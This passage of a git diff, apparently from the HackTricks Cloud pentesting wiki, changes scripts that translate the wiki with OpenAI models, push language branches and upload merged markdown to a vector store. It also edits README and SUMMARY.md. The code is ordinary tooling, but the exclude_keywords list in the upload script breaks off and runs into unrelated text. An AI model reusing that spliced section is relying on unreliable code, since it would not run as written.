if __name__ == "__main__":
|
||||
main()
|
||||
38
scripts/get_and_save_refs.py
Normal file
38
scripts/get_and_save_refs.py
Normal file
@@ -0,0 +1,38 @@
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
SRC_DIR = Path("./src")
|
||||
REFS_JSON = Path("/tmp/refs.json")
|
||||
|
||||
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
|
||||
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
|
||||
|
||||
def extract_refs(text: str):
|
||||
"""Return a list of refs (trimmed) in appearance order."""
|
||||
return [m.strip() for m in REF_RE.findall(text)]
|
||||
|
||||
def main():
|
||||
if not SRC_DIR.is_dir():
|
||||
raise SystemExit(f"Not a directory: {SRC_DIR}")
|
||||
|
||||
refs_per_path = {} # { "relative/path.md": [ref1, ref2, ...] }
|
||||
|
||||
for md_path in sorted(SRC_DIR.rglob("*.md")):
|
||||
rel = md_path.relative_to(SRC_DIR).as_posix()
|
||||
try:
|
||||
content = md_path.read_text(encoding="utf-8")
|
||||
except UnicodeDecodeError:
|
||||
# Fallback if encoding is odd
|
||||
content = md_path.read_text(errors="replace")
|
||||
|
||||
refs = extract_refs(content)
|
||||
refs_per_path[rel] = refs # keep order from findall
|
||||
|
||||
|
||||
REFS_JSON.write_text(json.dumps(refs_per_path, indent=2, ensure_ascii=False) + "\n", encoding="utf-8")
|
||||
print(f"Wrote {REFS_JSON} with {len(refs_per_path)} files.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -12,15 +12,25 @@ from tqdm import tqdm #pip3 install tqdm
|
||||
import traceback
|
||||
|
||||
|
||||
|
||||
MASTER_BRANCH = "master"
|
||||
VERBOSE = True
|
||||
MAX_TOKENS = 10000 #gpt-4-1106-preview
|
||||
MAX_TOKENS = 50000 #gpt-4-1106-preview
|
||||
DISALLOWED_SPECIAL = "<|endoftext|>"
|
||||
REPLACEMENT_TOKEN = "<END_OF_TEXT>"
|
||||
|
||||
def _sanitize(text: str) -> str:
|
||||
"""
|
||||
Replace the reserved tiktoken token with a harmless placeholder.
|
||||
Called everywhere a string can flow into tiktoken.encode() or the
|
||||
OpenAI client.
|
||||
"""
|
||||
return text.replace(DISALLOWED_SPECIAL, REPLACEMENT_TOKEN)
|
||||
|
||||
def reportTokens(prompt, model):
|
||||
encoding = tiktoken.encoding_for_model(model)
|
||||
# print number of tokens in light gray, with first 50 characters of prompt in green. if truncated, show that it is truncated
|
||||
#print("\033[37m" + str(len(encoding.encode(prompt))) + " tokens\033[0m" + " in prompt: " + "\033[92m" + prompt[:50] + "\033[0m" + ("..." if len(prompt) > 50 else ""))
|
||||
prompt = _sanitize(prompt)
|
||||
return len(encoding.encode(prompt))
|
||||
|
||||
|
||||
@@ -36,35 +46,37 @@ def get_branch_files(branch):
|
||||
files = result.stdout.decode().splitlines()
|
||||
return set(files)
|
||||
|
||||
def delete_unique_files(branch):
|
||||
def get_unused_files(branch):
|
||||
"""Delete files that are unique to branch2."""
|
||||
# Get the files in each branch
|
||||
files_branch1 = get_branch_files(MASTER_BRANCH)
|
||||
files_branch2 = get_branch_files(branch)
|
||||
files_branch_master = get_branch_files(MASTER_BRANCH)
|
||||
files_branch_lang = get_branch_files(branch)
|
||||
|
||||
# Find the files that are in branch2 but not in branch1
|
||||
unique_files = files_branch2 - files_branch1
|
||||
unique_files = files_branch_lang - files_branch_master
|
||||
|
||||
if unique_files:
|
||||
# Switch to the second branch
|
||||
subprocess.run(["git", "checkout", branch])
|
||||
|
||||
# Delete the unique files from the second branch
|
||||
for file in unique_files:
|
||||
subprocess.run(["git", "rm", file])
|
||||
|
||||
subprocess.run(["git", "checkout", MASTER_BRANCH])
|
||||
|
||||
print(f"[+] Deleted {len(unique_files)} files from branch: {branch}")
|
||||
return unique_files
|
||||
|
||||
|
||||
def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translate_files):
|
||||
"""
|
||||
Get the translated files from the temp folder and copy them to the repo directory in the expected branch.
|
||||
Also remove all the files that are not in the master branch.
|
||||
"""
|
||||
branch_exists = subprocess.run(['git', 'show-ref', '--verify', '--quiet', 'refs/heads/' + branch])
|
||||
# If branch doesn't exist, create it
|
||||
if branch_exists.returncode != 0:
|
||||
subprocess.run(['git', 'checkout', '-b', branch])
|
||||
else:
|
||||
subprocess.run(['git', 'checkout', branch])
|
||||
|
||||
# Get files to delete
|
||||
files_to_delete = get_unused_files(branch)
|
||||
|
||||
# Delete files
|
||||
for file in files_to_delete:
|
||||
os.remove(file)
|
||||
print(f"[+] Deleted {file}")
|
||||
|
||||
# Walk through source directory
|
||||
for dirpath, dirnames, filenames in os.walk(temp_folder):
|
||||
@@ -79,32 +91,72 @@ def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translat
|
||||
for file_name in filenames:
|
||||
src_file = os.path.join(dirpath, file_name)
|
||||
shutil.copy2(src_file, dest_path)
|
||||
|
||||
print(f"Translated files copied to branch: {branch}")
|
||||
if not "/images/" in src_file and not "/theme/" in src_file:
|
||||
print(f"[+] Copied from {src_file} to {file_name}")
|
||||
|
||||
if translate_files:
|
||||
subprocess.run(['git', 'add', "-A"])
|
||||
subprocess.run(['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]])
|
||||
subprocess.run(['git', 'checkout', MASTER_BRANCH])
|
||||
print("Commit created and moved to master branch")
|
||||
commit_and_push(translate_files, branch)
|
||||
else:
|
||||
print("No commiting anything, leaving in language branch")
|
||||
|
||||
def commit_and_push(translate_files, branch):
|
||||
# Define the commands we want to run
|
||||
commands = [
|
||||
['git', 'add', '-A'],
|
||||
['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]],
|
||||
['git', 'push', '--set-upstream', 'origin', branch],
|
||||
]
|
||||
|
||||
for cmd in commands:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True)
|
||||
|
||||
# Print stdout and stderr (if any)
|
||||
if result.stdout:
|
||||
print(f"STDOUT for {cmd}:\n{result.stdout}")
|
||||
if "nothing to commit" in result.stdout.lower():
|
||||
print("Nothing to commit, leaving")
|
||||
exit(0)
|
||||
|
||||
if result.stderr:
|
||||
print(f"STDERR for {cmd}:\n{result.stderr}")
|
||||
|
||||
# Check for errors
|
||||
if result.returncode != 0:
|
||||
raise RuntimeError(
|
||||
f"Command `{cmd}` failed with exit code {result.returncode}"
|
||||
)
|
||||
|
||||
print("Commit created and pushed")
|
||||
|
||||
|
||||
def translate_text(language, text, file_path, model, cont=0, slpitted=False, client=None):
|
||||
if not text:
|
||||
return text
|
||||
|
||||
messages = [
|
||||
{"role": "system", "content": "You are a professional hacker, translator and writer. You write everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output."},
|
||||
{"role": "system", "content": f"The following is content from a hacking book about hacking techiques. The following content is from the file {file_path}. Translate the relevant English text to {language} and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax."},
|
||||
{"role": "system", "content": "You are a professional hacker, translator and writer. You translate everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output and do not translate markdown or html tags or links."},
|
||||
{"role": "system", "content": f"""The following is content from a hacking book about technical hacking techiques. The following given content is from the file {file_path}.
|
||||
Translate the relevant English text to {language} and return the translation keeping exactly the same markdown and html syntax and following this guidance:
|
||||
|
||||
- Don't translate things like code, hacking technique names, common hacking words, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, links and markdown tags.
|
||||
- Don't translate links or paths, e.g. if a link or ref is to "lamda-post-exploitation.md" don't translate that path to the language.
|
||||
- Don't translate or modify tags, links, refs and paths like in:
|
||||
- {{#tabs}}
|
||||
- {{#tab name="Method1"}}
|
||||
- {{#ref}}\ngeneric-methodologies-and-resources/pentesting-methodology.md\n{{#endref}}
|
||||
- {{#include ./banners/hacktricks-training.md}}
|
||||
- {{#ref}}macos-tcc-bypasses/{{#endref}}
|
||||
- {{#ref}}0.-basic-llm-concepts.md{{#endref}}
|
||||
- Don't translate any other tag, just return markdown and html content as is.
|
||||
|
||||
Also don't add any extra stuff in your response that is not part of the translation and markdown syntax."""},
|
||||
{"role": "user", "content": text},
|
||||
]
|
||||
try:
|
||||
response = client.chat.completions.create(
|
||||
model=model,
|
||||
messages=messages,
|
||||
temperature=0
|
||||
temperature=1 # 1 because gpt-5 doesn't support other
|
||||
)
|
||||
except Exception as e:
|
||||
print("Python Exception: " + str(e))
|
||||
@@ -149,6 +201,9 @@ def translate_text(language, text, file_path, model, cont=0, slpitted=False, cli
|
||||
return translate_text(language, text, file_path, model, cont, False, client)
|
||||
|
||||
response_message = response.choices[0].message.content.strip()
|
||||
response_message = response_message.replace("bypassy", "bypasses") # PL translations translates that from time to time
|
||||
response_message = response_message.replace("Bypassy", "Bypasses")
|
||||
response_message = response_message.replace("-privec.md", "-privesc.md") # PL translations translates that from time to time
|
||||
|
||||
# Sometimes chatgpt modified the number of "#" at the beginning of the text, so we need to fix that. This is specially important for the first line of the MD that mucst have only 1 "#"
|
||||
cont2 = 0
|
||||
@@ -170,9 +225,11 @@ def split_text(text, model):
|
||||
chunks = []
|
||||
chunk = ''
|
||||
in_code_block = False
|
||||
in_ref = False
|
||||
|
||||
for line in lines:
|
||||
# If we are in a code block, just add the code to the chunk
|
||||
|
||||
# Keep code blocks as one chunk
|
||||
if line.startswith('```'):
|
||||
|
||||
# If we are in a code block, finish it with the "```"
|
||||
@@ -188,8 +245,24 @@ def split_text(text, model):
|
||||
chunk += line + '\n'
|
||||
|
||||
continue
|
||||
|
||||
"""
|
||||
Prevent refs using `` like:
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
|
||||
{{#endref}}
|
||||
"""
|
||||
if line.startswith('{{#ref}}'):
|
||||
in_ref = True
|
||||
|
||||
if in_ref:
|
||||
line = line.replace("`", "")
|
||||
|
||||
if line.startswith('{{#endref}}'):
|
||||
in_ref = False
|
||||
|
||||
|
||||
# If new section, see if we should be splitting the text
|
||||
if (line.startswith('#') and reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS*0.8) or \
|
||||
reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS:
|
||||
|
||||
@@ -202,23 +275,30 @@ def split_text(text, model):
|
||||
return chunks
|
||||
|
||||
|
||||
def copy_gitbook_dir(source_path, dest_path):
|
||||
folder_name = ".gitbook/"
|
||||
source_folder = os.path.join(source_path, folder_name)
|
||||
destination_folder = os.path.join(dest_path, folder_name)
|
||||
if not os.path.exists(source_folder):
|
||||
print(f"Error: {source_folder} does not exist.")
|
||||
else:
|
||||
# Copy the .gitbook folder
|
||||
shutil.copytree(source_folder, destination_folder)
|
||||
print(f"Copied .gitbook folder from {source_folder} to {destination_folder}")
|
||||
def copy_dirs(source_path, dest_path, folder_names):
|
||||
for folder_name in folder_names:
|
||||
source_folder = os.path.join(source_path, folder_name)
|
||||
destination_folder = os.path.join(dest_path, folder_name)
|
||||
if not os.path.exists(source_folder):
|
||||
print(f"Error: {source_folder} does not exist.")
|
||||
else:
|
||||
# Copy the theme folder
|
||||
shutil.copytree(source_folder, destination_folder)
|
||||
print(f"Copied {folder_name} folder from {source_folder} to {destination_folder}")
|
||||
|
||||
def copy_summary(source_path, dest_path):
|
||||
file_name = "src/SUMMARY.md"
|
||||
source_filepath = os.path.join(source_path, file_name)
|
||||
dest_filepath = os.path.join(dest_path, file_name)
|
||||
shutil.copy2(source_filepath, dest_filepath)
|
||||
print("[+] Copied SUMMARY.md")
|
||||
def move_files_to_push(source_path, dest_path, relative_file_paths):
|
||||
for file_path in relative_file_paths:
|
||||
source_filepath = os.path.join(source_path, file_path)
|
||||
dest_filepath = os.path.join(dest_path, file_path)
|
||||
if not os.path.exists(source_filepath):
|
||||
print(f"Error: {source_filepath} does not exist.")
|
||||
else:
|
||||
shutil.copy2(source_filepath, dest_filepath)
|
||||
print(f"[+] Copied {file_path}")
|
||||
|
||||
def copy_files(source_path, dest_path):
|
||||
file_names = ["src/SUMMARY.md", "hacktricks-preprocessor.py", "book.toml", ".gitignore", "src/robots.txt"]
|
||||
move_files_to_push(source_path, dest_path, file_names)
|
||||
|
||||
def translate_file(language, file_path, file_dest_path, model, client):
|
||||
global VERBOSE
|
||||
@@ -234,7 +314,7 @@ def translate_file(language, file_path, file_dest_path, model, client):
|
||||
translated_content = ''
|
||||
start_time = time.time()
|
||||
for chunk in content_chunks:
|
||||
# Don't trasnlate code blocks
|
||||
# Don't translate code blocks
|
||||
if chunk.startswith('```'):
|
||||
translated_content += chunk + '\n'
|
||||
else:
|
||||
@@ -248,9 +328,10 @@ def translate_file(language, file_path, file_dest_path, model, client):
|
||||
f.write(translated_content)
|
||||
|
||||
#if VERBOSE:
|
||||
print(f"Page {file_path} translated in {elapsed_time:.2f} seconds")
|
||||
print(f"Page {file_path} translated in {file_dest_path} in {elapsed_time:.2f} seconds")
|
||||
|
||||
|
||||
"""
|
||||
def translate_directory(language, source_path, dest_path, model, num_threads, client):
|
||||
all_markdown_files = []
|
||||
for subdir, dirs, files in os.walk(source_path):
|
||||
@@ -280,17 +361,17 @@ def translate_directory(language, source_path, dest_path, model, num_threads, cl
|
||||
tb = traceback.format_exc()
|
||||
print(f'Translation generated an exception: {exc}')
|
||||
print("Traceback:", tb)
|
||||
|
||||
"""
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("- Version 1.1.1")
|
||||
print("- Version 2.0.0")
|
||||
# Set up argparse
|
||||
parser = argparse.ArgumentParser(description='Translate gitbook and copy to a new branch.')
|
||||
parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
|
||||
#parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
|
||||
parser.add_argument('-l', '--language', required=True, help='Target language for translation.')
|
||||
parser.add_argument('-b', '--branch', required=True, help='Branch name to copy translated files.')
|
||||
parser.add_argument('-k', '--api-key', required=True, help='API key to use.')
|
||||
parser.add_argument('-m', '--model', default="gpt-4o-mini", help='The openai model to use. By default: gpt-4o-mini')
|
||||
parser.add_argument('-m', '--model', default="gpt-5-mini", help='The openai model to use. By default: gpt-5-mini')
|
||||
parser.add_argument('-o', '--org-id', help='The org ID to use (if not set the default one will be used).')
|
||||
parser.add_argument('-f', '--file-paths', help='If this is set, only the indicated files will be translated (" , " separated).')
|
||||
parser.add_argument('-n', '--dont-cd', action='store_false', help="If this is true, the script won't change the current directory.")
|
||||
@@ -345,7 +426,7 @@ if __name__ == "__main__":
|
||||
translate_files = None # Need to initialize it here to avoid error
|
||||
if args.file_paths:
|
||||
# Translate only the indicated file
|
||||
translate_files = [f for f in args.file_paths.split(' , ') if f]
|
||||
translate_files = list(set([f.strip() for f in args.file_paths.split(',') if f]))
|
||||
for file_path in translate_files:
|
||||
#with tqdm(total=len(all_markdown_files), desc="Translating Files") as pbar:
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
|
||||
@@ -359,23 +440,21 @@ if __name__ == "__main__":
|
||||
#pbar.update()
|
||||
except Exception as exc:
|
||||
print(f'Translation generated an exception: {exc}')
|
||||
|
||||
# Delete possibly removed files from the master branch
|
||||
delete_unique_files(branch)
|
||||
|
||||
elif args.directory:
|
||||
|
||||
#elif args.directory:
|
||||
# Translate everything
|
||||
translate_directory(language, source_folder, dest_folder, model, num_threads, client)
|
||||
#translate_directory(language, source_folder, dest_folder, model, num_threads, client)
|
||||
|
||||
else:
|
||||
print("You need to indicate either a directory or a list of files to translate.")
|
||||
exit(1)
|
||||
exit(0)
|
||||
|
||||
# Copy summary
|
||||
copy_summary(source_folder, dest_folder)
|
||||
# Copy Summary
|
||||
copy_files(source_folder, dest_folder)
|
||||
|
||||
# Copy .gitbook folder
|
||||
copy_gitbook_dir(source_folder, dest_folder)
|
||||
folder_names = ["theme/", "src/images/"]
|
||||
copy_dirs(source_folder, dest_folder, folder_names)
|
||||
|
||||
# Create the branch and copy the translated files
|
||||
cp_translation_to_repo_dir_and_check_gh_branch(branch, dest_folder, translate_files)
|
||||
|
||||
297
scripts/upload_ht_to_ai.py
Normal file
297
scripts/upload_ht_to_ai.py
Normal file
@@ -0,0 +1,297 @@
|
||||
import os
|
||||
import requests
|
||||
import zipfile
|
||||
import tempfile
|
||||
import time
|
||||
import glob
|
||||
import re
|
||||
|
||||
from openai import OpenAI
|
||||
|
||||
# Initialize OpenAI client
|
||||
client = OpenAI(api_key=os.getenv("MY_OPENAI_API_KEY"))
|
||||
|
||||
# Vector Store ID
|
||||
VECTOR_STORE_ID = "vs_67e9f92e8cc88191911be54f81492fb8"
|
||||
|
||||
# --------------------------------------------------
|
||||
# Step 1: Download and Extract Markdown Files
|
||||
# --------------------------------------------------
|
||||
|
||||
def download_zip(url, save_path):
|
||||
print(f"Downloading zip from: {url}")
|
||||
response = requests.get(url)
|
||||
response.raise_for_status() # Ensure the download succeeded
|
||||
with open(save_path, "wb") as f:
|
||||
f.write(response.content)
|
||||
print(f"Downloaded zip from: {url}")
|
||||
|
||||
def extract_markdown_files(zip_path, extract_dir):
|
||||
print(f"Extracting zip: {zip_path} to {extract_dir}")
|
||||
with zipfile.ZipFile(zip_path, "r") as zip_ref:
|
||||
zip_ref.extractall(extract_dir)
|
||||
# Recursively find all .md files
|
||||
md_files = glob.glob(os.path.join(extract_dir, "**", "*.md"), recursive=True)
|
||||
|
||||
return md_files
|
||||
|
||||
# Repository URLs
|
||||
hacktricks_url = "https://github.com/HackTricks-wiki/hacktricks/archive/refs/heads/master.zip"
|
||||
hacktricks_cloud_url = "https://github.com/HackTricks-wiki/hacktricks-cloud/archive/refs/heads/main.zip"
|
||||
|
||||
# Temporary directory for downloads and extraction
|
||||
temp_dir = tempfile.mkdtemp()
|
||||
try:
|
||||
# Download zip archives
|
||||
print("Downloading Hacktricks repositories...")
|
||||
hacktricks_zip = os.path.join(temp_dir, "hacktricks.zip")
|
||||
hacktricks_cloud_zip = os.path.join(temp_dir, "hacktricks_cloud.zip")
|
||||
download_zip(hacktricks_url, hacktricks_zip)
|
||||
download_zip(hacktricks_cloud_url, hacktricks_cloud_zip)
|
||||
|
||||
# Extract the markdown files
|
||||
hacktricks_extract_dir = os.path.join(temp_dir, "hacktricks")
|
||||
hacktricks_cloud_extract_dir = os.path.join(temp_dir, "hacktricks_cloud")
|
||||
|
||||
md_files_hacktricks = extract_markdown_files(hacktricks_zip, hacktricks_extract_dir)
|
||||
md_files_hacktricks_cloud = extract_markdown_files(hacktricks_cloud_zip, hacktricks_cloud_extract_dir)
|
||||
|
||||
all_md_files = md_files_hacktricks + md_files_hacktricks_cloud
|
||||
print(f"Found {len(all_md_files)} markdown files.")
|
||||
finally:
|
||||
# Optional cleanup of temporary files after processing
|
||||
# shutil.rmtree(temp_dir)
|
||||
pass
|
||||
|
||||
# --------------------------------------------------
|
||||
# Step 2: Remove All Existing Files in the Vector Store
|
||||
# --------------------------------------------------
|
||||
# List current files in the vector store and delete each one.
|
||||
existing_files = list(client.vector_stores.files.list(VECTOR_STORE_ID))
|
||||
print(f"Found {len(existing_files)} files in the vector store. Removing them...")
|
||||
|
||||
for file_obj in existing_files:
|
||||
# Delete the underlying file object; this removes it from the vector store.
|
||||
try:
|
||||
client.files.delete(file_id=file_obj.id)
|
||||
print(f"Deleted file: {file_obj.id}")
|
||||
time.sleep(1) # Give it a moment to ensure the deletion is processed
|
||||
except Exception as e:
|
||||
# Handle potential errors during deletion
|
||||
print(f"Error deleting file {file_obj.id}: {e}")
|
||||
|
||||
# ----------------------------------------------------
|
||||
# Step 3: Clean markdown Files
|
||||
# ----------------------------------------------------
|
||||
# Clean markdown files and marge them so it's easier to
|
||||
# uplaod to the vector store.
|
||||
|
||||
|
||||
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
|
||||
def clean_file_content(file_path):
|
||||
"""Clean the content of a single file and return the cleaned lines."""
|
||||
with open(file_path, "r", encoding="utf-8") as f:
|
||||
content = f.readlines()
|
||||
|
||||
cleaned_lines = []
|
||||
inside_hint = False
|
||||
for i,line in enumerate(content):
|
||||
# Skip lines containing excluded keywords
|
||||
if any(keyword in line for keyword in exclude_keywords):
|
||||
continue
|
||||
|
||||
# Detect and skip {% hint %} ... {% endhint %} blocks
|
||||
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
|
||||
inside_hint = True
|
||||
if "{% endhint %}" in line:
|
||||
inside_hint = False
|
||||
continue
|
||||
if inside_hint:
|
||||
continue
|
||||
|
||||
if line.startswith("#") and "reference" in line.lower(): #If references part reached, just stop reading the file
|
||||
break
|
||||
|
||||
# Skip lines with <figure> ... </figure>
|
||||
if re.match(r"<figure>.*?</figure>", line):
|
||||
continue
|
||||
|
||||
# Add the line if it passed all checks
|
||||
cleaned_lines.append(line.rstrip())
|
||||
|
||||
# Remove excess consecutive empty lines
|
||||
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
|
||||
return cleaned_lines
|
||||
|
||||
def remove_consecutive_empty_lines(lines):
|
||||
"""Allow no more than one consecutive empty line."""
|
||||
cleaned_lines = []
|
||||
previous_line_empty = False
|
||||
for line in lines:
|
||||
if line.strip() == "":
|
||||
if not previous_line_empty:
|
||||
cleaned_lines.append("")
|
||||
previous_line_empty = True
|
||||
else:
|
||||
cleaned_lines.append(line)
|
||||
previous_line_empty = False
|
||||
return cleaned_lines
|
||||
|
||||
def gather_files_in_order(start_folder):
|
||||
"""Gather all .md files in a depth-first order."""
|
||||
files = []
|
||||
for root, _, filenames in os.walk(start_folder):
|
||||
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md") and f.lower() not in ["summary.md", "references.md"]])
|
||||
files.extend(md_files)
|
||||
return files
|
||||
|
||||
# Gather files in depth-first order
|
||||
all_files = gather_files_in_order(start_folder)
|
||||
|
||||
# Process files and merge into a single output
|
||||
with open(output_file, "w", encoding="utf-8") as output:
|
||||
for file_path in all_files:
|
||||
# Clean the content of the file
|
||||
cleaned_content = clean_file_content(file_path)
|
||||
|
||||
# Skip saving if the cleaned file has fewer than 10 non-empty lines
|
||||
if len([line for line in cleaned_content if line.strip()]) < 10:
|
||||
continue
|
||||
|
||||
# Get the name of the file for the header
|
||||
file_name = os.path.basename(file_path)
|
||||
|
||||
# Write header, cleaned content, and 2 extra new lines
|
||||
output.write(f"### Start file: {file_name} ###\n\n")
|
||||
output.write("\n".join(cleaned_content))
|
||||
output.write("\n\n")
|
||||
|
||||
# Specify the starting folder and output file
|
||||
start_folder = os.getcwd()
|
||||
|
||||
# Keywords to exclude from lines
|
||||
exclude_keywords = [
|
||||
"hacktricks-training.md",
|
||||
", "hacktricks.md")
|
||||
htc_file = os.path.join(tempfile.gettempdir(), "hacktricks-cloud.md")
|
||||
clean_and_merge_md_files(hacktricks_extract_dir, exclude_keywords, ht_file)
|
||||
print(f"Merged content has been saved to: {ht_file}")
|
||||
clean_and_merge_md_files(hacktricks_cloud_extract_dir, exclude_keywords, htc_file)
|
||||
print(f"Merged content has been saved to: {htc_file}")
|
||||
|
||||
|
||||
# ----------------------------------------------------
|
||||
# Step 4: Upload All Markdown Files to the Vector Store
|
||||
# ----------------------------------------------------
|
||||
# Upload two files to the vector store.
|
||||
# Uploading .md hacktricks files individually can be slow,
|
||||
# so thats why we merged it before into just 2 files.
|
||||
|
||||
file_streams = []
|
||||
|
||||
ht_stream = open(ht_file, "rb")
|
||||
file_streams.append(ht_stream)
|
||||
htc_stream = open(htc_file, "rb")
|
||||
file_streams.append(htc_stream)
|
||||
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
|
||||
time.sleep(60) # Sleep for a minute to ensure the upload is processed
|
||||
ht_stream.close()
|
||||
htc_stream.close()
|
||||
|
||||
|
||||
""""This was to upload each .md independently, wich turned out to be a nightmare
|
||||
# Ensure we don't exceed the maximum number of file streams
|
||||
|
||||
for file_path in all_md_files:
|
||||
# Check if we have reached the maximum number of streams
|
||||
if len(file_streams) >= 300:
|
||||
print("Reached maximum number of file streams (300). Uploading current batch...")
|
||||
# Upload the current batch before adding more files
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
print("Upload status:", file_batch.status)
|
||||
print("File counts:", file_batch.file_counts)
|
||||
# Clear the list for the next batch
|
||||
file_streams = []
|
||||
time.sleep(120) # Sleep for 2 minutes to avoid hitting API limits
|
||||
try:
|
||||
stream = open(file_path, "rb")
|
||||
file_streams.append(stream)
|
||||
except Exception as e:
|
||||
print(f"Error opening {file_path}: {e}")
|
||||
|
||||
if file_streams:
|
||||
# Upload files and poll for completion
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
print("Upload status:", file_batch.status)
|
||||
print("File counts:", file_batch.file_counts)
|
||||
else:
|
||||
print("No markdown files to upload.")"
|
||||
|
||||
|
||||
# Close all file streams
|
||||
for stream in file_streams:
|
||||
stream.close()
|
||||
"""
|
||||
1
searchindex.js
Normal file
1
searchindex.js
Normal file
File diff suppressed because one or more lines are too long
@@ -4,9 +4,10 @@
|
||||
|
||||
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks logoları ve hareket tasarımı [_@ppieranacho_](https://www.instagram.com/ppieranacho/) tarafından yapıldı._
|
||||
_Hacktricks logos & motion designed by_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
### Run HackTricks Cloud Locally
|
||||
|
||||
### HackTricks Cloud'u Yerel Olarak Çalıştırma
|
||||
```bash
|
||||
# Download latest version of hacktricks cloud
|
||||
git clone https://github.com/HackTricks-wiki/hacktricks-cloud
|
||||
@@ -33,28 +34,30 @@ export LANG="master" # Leave master for English
|
||||
# Run the docker container indicating the path to the hacktricks-cloud folder
|
||||
docker run -d --rm --platform linux/amd64 -p 3377:3000 --name hacktricks_cloud -v $(pwd)/hacktricks-cloud:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||
```
|
||||
Yerel HackTricks Cloud kopyanız bir dakika içinde **[http://localhost:3377](http://localhost:3377)** adresinde kullanıma açılacak.
|
||||
|
||||
### **Pentesting CI/CD Metodolojisi**
|
||||
Your local copy of HackTricks Cloud will be **available at [http://localhost:3377](http://localhost:3377)** after a minute.
|
||||
|
||||
**HackTricks CI/CD Metodolojisi'nde CI/CD faaliyetleriyle ilgili altyapıyı nasıl pentest edeceğinizi bulacaksınız.** Bir **giriş** için aşağıdaki sayfayı okuyun:
|
||||
### **Pentesting CI/CD Methodology**
|
||||
|
||||
**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
|
||||
|
||||
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
|
||||
### Pentesting Cloud Metodolojisi
|
||||
### Pentesting Cloud Methodology
|
||||
|
||||
**HackTricks Cloud Metodolojisi'nde cloud ortamlarını nasıl pentest edeceğinizi bulacaksınız.** Bir **giriş** için aşağıdaki sayfayı okuyun:
|
||||
**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
|
||||
|
||||
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
|
||||
### Lisans & Sorumluluk Reddi
|
||||
### License & Disclaimer
|
||||
|
||||
**Bunları inceleyin:**
|
||||
**Check them in:**
|
||||
|
||||
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
|
||||
|
||||
### Github İstatistikleri
|
||||
### Github Stats
|
||||
|
||||

|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
271
src/SUMMARY.md
271
src/SUMMARY.md
@@ -9,7 +9,6 @@
|
||||
# 🏭 Pentesting CI/CD
|
||||
|
||||
- [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
- [Docker Build Context Abuse in Cloud Envs](pentesting-ci-cd/docker-build-context-abuse.md)
|
||||
- [Gitblit Security](pentesting-ci-cd/gitblit-security/README.md)
|
||||
- [Ssh Auth Bypass](pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md)
|
||||
- [Github Security](pentesting-ci-cd/github-security/README.md)
|
||||
@@ -42,7 +41,6 @@
|
||||
- [Atlantis Security](pentesting-ci-cd/atlantis-security.md)
|
||||
- [Cloudflare Security](pentesting-ci-cd/cloudflare-security/README.md)
|
||||
- [Cloudflare Domains](pentesting-ci-cd/cloudflare-security/cloudflare-domains.md)
|
||||
- [Cloudflare Workers Pass Through Proxy Ip Rotation](pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md)
|
||||
- [Cloudflare Zero Trust Network](pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md)
|
||||
- [Okta Security](pentesting-ci-cd/okta-security/README.md)
|
||||
